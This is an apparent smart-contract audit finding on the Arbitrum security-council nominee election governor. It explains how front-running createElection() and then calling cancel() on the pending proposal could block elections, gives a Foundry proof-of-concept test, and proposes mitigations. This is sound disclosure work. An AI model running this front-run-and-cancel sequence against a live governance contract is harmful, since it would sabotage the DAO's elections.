Lines of code

Vulnerability details

Impact

Contract SecurityCouncilNomineeElectionGovernor allows contenders to participate in the election process as nominee over function addContender().
The necessary condition for this process is that proposal was created before and has status ProposalState.Active.
To achieve this someone must call function createElection(). As a result, proposal will be created but status of this proposal will be Active only in the next block. In block of creation proposal, this proposal has status .Pending. This means the proposer(who called createElection()) can cancel this proposal over using function cancel() public from OZ GovernorUpgradeable.

Attack vector:
To successfully attack protocol it is necessary to sandwich the original tx of createElection() by someone.

1. Someone is calling createElection();
2. Attacker frontrun this tx and calls createElection();
3. 1st tx will be reverted due to the duplicate condition;
4. Attacker calls function cancel().

Tx positions in block to success attack:

• Attacker calls createElection();
• OtherUser calls createElection();
• Attacker calls cancel();

Last version of OZ GovernorUpgradeable has function cancel() with public modifier. Arbitrum devs are using another (older) version of GovernorUpgradeable which has not this public function. But such vuln with high probability could arise (they could use another version of OZ during deploy of even when they will update SC in future to v2).

Proof of Concept

// SPDX-License-Identifier: Apache-2.0

pragma solidity 0.8.16;

import "forge-std/Test.sol";
import "../../../src/security-council-mgmt/factories/L2SecurityCouncilMgmtFactory.sol";
import "../../util/DeployGnosisWithModule.sol";


contract MainTest is Test, DeployGnosisWithModule {

    //default
    //address public owner = vm.addr(1);
    address public eoa1  = vm.addr(42399);
    address public eoa2  = vm.addr(42391);
    L2SecurityCouncilMgmtFactory factory;

    //struct DeployParams 
    //ChainAndUpExecLocation[] upgradeExecutors;
    address govChainEmergencySecurityCouncil;
    address l1ArbitrumTimelock = vm.addr(1);
    address l2CoreGovTimelock;
    address govChainProxyAdmin = vm.addr(4343);
    address[] secondCohort = new address[](1);
    address[] firstCohort = new address[](1);
    address l2UpgradeExecutor;
    address arbToken;
    uint256 l1TimelockMinDelay;

    uint256 removalGovVotingDelay = 2;
    uint256 removalGovVotingPeriod = 3;
    uint256 removalGovQuorumNumerator = 4;
    uint256 removalGovProposalThreshold = 5;
    uint64 removalGovMinPeriodAfterQuorum = 6;
    uint256 removalGovVoteSuccessNumerator = 7;
    uint256 removalProposalExpirationBlocks = 137;
    SecurityCouncilData[] securityCouncils;
    Date firstNominationStartDate = Date({year: uint256(2000), month: uint256(1), day: uint256(1), hour: uint256(1)});

    uint256 nomineeVettingDuration = uint256(7);
    address nomineeVetter = vm.addr(237);
    uint256 nomineeQuorumNumerator = 200;
    uint256 nomineeVotingPeriod = 10;
    uint256 memberVotingPeriod = 112;
    uint256 fullWeightDuration = 111;

    address firstCohortMember = vm.addr(311);
    address secondCohortMember = vm.addr(351);

    //store address of main contracts;
    SecurityCouncilNomineeElectionGovernor nomineeGovern;
    SecurityCouncilMemberElectionGovernor memberGovern;
    ISecurityCouncilManager securityCouncilManager;
    SecurityCouncilMemberRemovalGovernor memberRemoveGovern;
    UpgradeExecRouteBuilder upgradeExecRouteBuilder;

    ///
    address[] validTargets = new address[](1);
    uint256[] validValues = new uint256[](1);
    bytes[] validCallDatas = new bytes[](1);
    bytes32 description = "xyz";


    function setUp() public {

        vm.startPrank(govChainProxyAdmin);
        //deploy factory
        factory = new L2SecurityCouncilMgmtFactory();
        DeployParams memory dp = getDeployParams();
        ContractImplementations memory impls = getContractImplementations();
        (L2SecurityCouncilMgmtFactory.DeployedContracts memory deployedContracts) = factory.deploy(dp,impls);
        nomineeGovern = deployedContracts.nomineeElectionGovernor;
        memberGovern = deployedContracts.memberElectionGovernor;
        securityCouncilManager = deployedContracts.securityCouncilManager;
        memberRemoveGovern = deployedContracts.securityCouncilMemberRemoverGov;
        upgradeExecRouteBuilder = deployedContracts.upgradeExecRouteBuilder;
        
    }


    function getDeployParams() public returns (DeployParams memory deployParams) {

        ChainAndUpExecLocation[] memory upgradeExecutors;

        address[] memory scOwners = new address[](2);
        scOwners[0] = firstCohortMember;
        scOwners[1] = secondCohortMember;

        govChainEmergencySecurityCouncil = deploySafe(scOwners, 1, address(123));
        govChainProxyAdmin = address(new Mock());
        l2UpgradeExecutor = address(new Mock());
        arbToken = address(new ArbToken());
        l2CoreGovTimelock = address(new Mock());

        firstCohort[0] = firstCohortMember;
        secondCohort[0] = secondCohortMember;

        
        factory = new L2SecurityCouncilMgmtFactory();
        return DeployParams({
            upgradeExecutors: upgradeExecutors,
            govChainEmergencySecurityCouncil: govChainEmergencySecurityCouncil,
            l1ArbitrumTimelock: l1ArbitrumTimelock,
            l2CoreGovTimelock: l2CoreGovTimelock,
            govChainProxyAdmin: govChainProxyAdmin,
            firstCohort: firstCohort,
            secondCohort: secondCohort,
            l2UpgradeExecutor: l2UpgradeExecutor,
            arbToken: arbToken,
            l1TimelockMinDelay: l1TimelockMinDelay,
            removalGovVotingDelay: removalGovVotingDelay,
            removalGovVotingPeriod: removalGovVotingPeriod,
            removalGovProposalThreshold: removalGovProposalThreshold,
            removalGovVoteSuccessNumerator: removalGovVoteSuccessNumerator,
            removalGovQuorumNumerator: removalGovQuorumNumerator,
            removalGovMinPeriodAfterQuorum: removalGovMinPeriodAfterQuorum,
            removalProposalExpirationBlocks: removalProposalExpirationBlocks,
            securityCouncils: securityCouncils,
            firstNominationStartDate: firstNominationStartDate,
            nomineeVettingDuration: nomineeVettingDuration,
            nomineeVetter: nomineeVetter,
            nomineeQuorumNumerator: nomineeQuorumNumerator,
            nomineeVotingPeriod: nomineeVotingPeriod,
            memberVotingPeriod: memberVotingPeriod,
            fullWeightDuration: fullWeightDuration
        });
    }

    function getContractImplementations() public returns (ContractImplementations memory) {
        return ContractImplementations({
            securityCouncilManager: address(new SecurityCouncilManager()),
            securityCouncilMemberRemoverGov: address(new SecurityCouncilMemberRemovalGovernor()),
            nomineeElectionGovernor: address(new SecurityCouncilNomineeElectionGovernor()),
            memberElectionGovernor: address(new SecurityCouncilMemberElectionGovernor())
        });
    }

    function testFrontrunCreateElection() public {
        vm.warp(946688401);
        changePrank(eoa1);
        uint proposalID = nomineeGovern.createElection();
        
        (IGovernorUpgradeable.ProposalState stateNow) = nomineeGovern.state(proposalID);
        console.log(proposalID);

        if (stateNow == IGovernorUpgradeable.ProposalState.Pending) {
            console.log("Pending");
        }


        (address[] memory a, uint256[] memory b, bytes[] memory c, string memory d) = nomineeGovern.getProposeArgs(0);
        bytes32 dd = keccak256(bytes(d));
        nomineeGovern.cancel(a,b,c,dd);

    }

    function testFrontrunCreateElectionInNextBlock() public {
        vm.warp(946688401);
        changePrank(eoa1);
        uint proposalID = nomineeGovern.createElection();
        
        (IGovernorUpgradeable.ProposalState stateNow) = nomineeGovern.state(proposalID);
        console.log(proposalID);

        if (stateNow == IGovernorUpgradeable.ProposalState.Pending) {
            console.log("Pending");
        }


        (address[] memory a, uint256[] memory b, bytes[] memory c, string memory d) = nomineeGovern.getProposeArgs(0);
        bytes32 dd = keccak256(bytes(d));

        vm.roll(block.number+1);
        vm.expectRevert("Governor: too late to cancel");
        nomineeGovern.cancel(a,b,c,dd);

    }


}


contract Mock {}

contract ArbToken {

    function getPastVotes(address a, uint b) public returns(uint) {
        if (a == 0xF094776Ec5F97c0c112a0850ae6DE8b04ad83a9C) { //eoa1 = 0xF094776Ec5F97c0c112a0850ae6DE8b04ad83a9C
            return 25;
        }

        if (a == 0x3f6bB70daeE691d8F20f7eAC9441D3fd356F3E61) { //eoa2 = 0x3f6bB70daeE691d8F20f7eAC9441D3fd356F3E61
            return 15;
        }
    }

    function getPastTotalSupply(uint256 blockNumber) external view returns (uint256) {
        return 1000;
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

There are some options to mitigate this case:

1. override function state() which will avoid Pending status and will return Active from the first block;
2. override function cancel() to avoid cancelation of election or use onlyOwner modifier.

Assessed type

Governance

---

The text was updated successfully, but these errors were encountered:

All reactions